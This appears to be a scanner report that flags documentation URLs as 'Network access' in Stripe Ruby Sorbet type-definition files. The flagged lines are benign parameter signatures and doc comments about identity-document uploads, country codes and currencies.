class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden - Network accessline 1033
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1036
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri - Network accessline 1037
def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The - Network accessline 1038
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1044
def initialize(back: nil, front: nil); end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 1045
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. sig { - Network accessline 1046
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 1064
end class Visa < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1065
class Visa < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { returns - Network accessline 1066
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1191
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1192
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1193
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1240
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1241
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1242
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1434
} def metadata=(_metadata); end # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1435
def metadata=(_metadata); end # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(T::Array[Str - Network accessline 1436
# The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/core/account_update_params.rbi
- Network accessline 156
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 157
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 158
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 286
end class Branding < ::Stripe::RequestParams # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px. - Network accessline 287
class Branding < ::Stripe::RequestParams # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px. sig { returns(T.nilab - Network accessline 288
# ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px. - Network accessline 291
sig { params(_icon: T.nilable(String)).returns(T.nilable(String)) } def icon=(_icon); end # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used - Network accessline 292
def icon=(_icon); end # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if pro - Network accessline 293
# ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if provided. Must be at least 128px x 128p - Network accessline 1268
def initialize(descriptor: nil, prefix: nil); end end # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get - Network accessline 1269
end # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-de - Network accessline 1270
# The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 1277
} def kana=(_kana); end # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-de - Network accessline 1278
def kana=(_kana); end # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-ja - Network accessline 1279
# The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 1312
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1313
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1314
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1603
def initialize(fees_collector: nil, losses_collector: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do - Network accessline 1604
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(String)) } - Network accessline 1605
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1677
end class PersonsProvided < ::Stripe::RequestParams # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stri - Network accessline 1678
class PersonsProvided < ::Stripe::RequestParams # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/co - Network accessline 1679
# Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 1682
sig { params(_directors: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def directors=(_directors); end # Whether the company’s executives have been provided. Set this Boolean to true after creating all - Network accessline 1683
def directors=(_directors); end # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/cr - Network accessline 1684
# Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 1687
sig { params(_executives: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def executives=(_executives); end # Whether the company’s owners have been provided. Set this Boolean to true after creating all t - Network accessline 1688
def executives=(_executives); end # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createpe - Network accessline 1689
# Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 1794
def initialize(date: nil, ip: nil, user_agent: nil); end end # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance). - Network accessline 1795
end # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance). sig { - Network accessline 1796
# Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance). - Network accessline 1889
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1890
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1891
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1934
class AnnualRevenue < ::Stripe::RequestParams class Amount < ::Stripe::RequestParams # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#m - Network accessline 1935
class Amount < ::Stripe::RequestParams # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). sig { returns(T.nilable(Integer - Network accessline 1936
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 1939
sig { params(_value: T.nilable(Integer)).returns(T.nilable(Integer)) } def value=(_value); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [su - Network accessline 1940
def value=(_value); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T. - Network accessline 1941
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1968
class Documents < ::Stripe::RequestParams class BankAccountOwnershipVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#creat - Network accessline 1969
class BankAccountOwnershipVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1970
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1982
end class CompanyLicense < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1983
class CompanyLicense < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig - Network accessline 1984
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1996
end class CompanyMemorandumOfAssociation < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account - Network accessline 1997
class CompanyMemorandumOfAssociation < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1998
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2010
end class CompanyMinisterialDecree < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requi - Network accessline 2011
class CompanyMinisterialDecree < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2012
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2024
end class CompanyRegistrationVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `accoun - Network accessline 2025
class CompanyRegistrationVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2026
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2038
end class CompanyTaxIdVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requi - Network accessline 2039
class CompanyTaxIdVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2040
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2053
class PrimaryVerification < ::Stripe::RequestParams class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the ver - Network accessline 2054
class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden - Network accessline 2055
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 2058
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri - Network accessline 2059
def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The - Network accessline 2060
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 2066
def initialize(back: nil, front: nil); end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 2067
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. sig { - Network accessline 2068
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 2086
end class ProofOfAddress < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2087
class ProofOfAddress < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig - Network accessline 2088
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2100
end class ProofOfRegistration < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requiremen - Network accessline 2101
class ProofOfRegistration < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2102
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2114
end class ProofOfUltimateBeneficialOwnership < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `acc - Network accessline 2115
class ProofOfUltimateBeneficialOwnership < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2116
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2256
class MonthlyEstimatedRevenue < ::Stripe::RequestParams class Amount < ::Stripe::RequestParams # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/cu - Network accessline 2257
class Amount < ::Stripe::RequestParams # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). sig { returns(T.nilable(Integer - Network accessline 2258
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 2261
sig { params(_value: T.nilable(Integer)).returns(T.nilable(Integer)) } def value=(_value); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [su - Network accessline 2262
def value=(_value); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T. - Network accessline 2263
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2290
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2291
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2292
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2339
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2340
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2341
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2554
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2555
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2556
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2635
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2636
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2637
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2699
class Documents < ::Stripe::RequestParams class CompanyAuthorization < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with - Network accessline 2700
class CompanyAuthorization < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2701
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2713
end class Passport < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2714
class Passport < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { ret - Network accessline 2715
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2728
class PrimaryVerification < ::Stripe::RequestParams class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the ver - Network accessline 2729
class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden - Network accessline 2730
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 2733
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri - Network accessline 2734
def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The - Network accessline 2735
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 2741
def initialize(back: nil, front: nil); end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 2742
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. sig { - Network accessline 2743
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 2762
class SecondaryVerification < ::Stripe::RequestParams class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the v - Network accessline 2763
class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden - Network accessline 2764
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 2767
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri - Network accessline 2768
def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The - Network accessline 2769
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 2775
def initialize(back: nil, front: nil); end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 2776
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. sig { - Network accessline 2777
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 2795
end class Visa < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2796
class Visa < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { returns - Network accessline 2797
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2922
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2923
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2924
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2971
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2972
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2973
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3163
} def metadata=(_metadata); end # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3164
def metadata=(_metadata); end # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(T::Array[Str - Network accessline 3165
# The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3249
} def business_details=(_business_details); end # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO - Network accessline 3250
def business_details=(_business_details); end # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alph - Network accessline 3251
# The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) country code.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/core/accounts/person_create_params.rbi
- Network accessline 14
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 15
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 16
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 129
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 130
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 131
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 193
class Documents < ::Stripe::RequestParams class CompanyAuthorization < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a p - Network accessline 194
class CompanyAuthorization < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. s - Network accessline 195
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 207
end class Passport < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 208
class Passport < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { returns - Network accessline 209
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 222
class PrimaryVerification < ::Stripe::RequestParams class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verific - Network accessline 223
class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identi - Network accessline 224
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 227
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verifica - Network accessline 228
def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The u - Network accessline 229
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 235
def initialize(back: nil, front: nil); end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 236
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. sig { - Network accessline 237
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 256
class SecondaryVerification < ::Stripe::RequestParams class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verif - Network accessline 257
class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identi - Network accessline 258
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 261
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verifica - Network accessline 262
def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The u - Network accessline 263
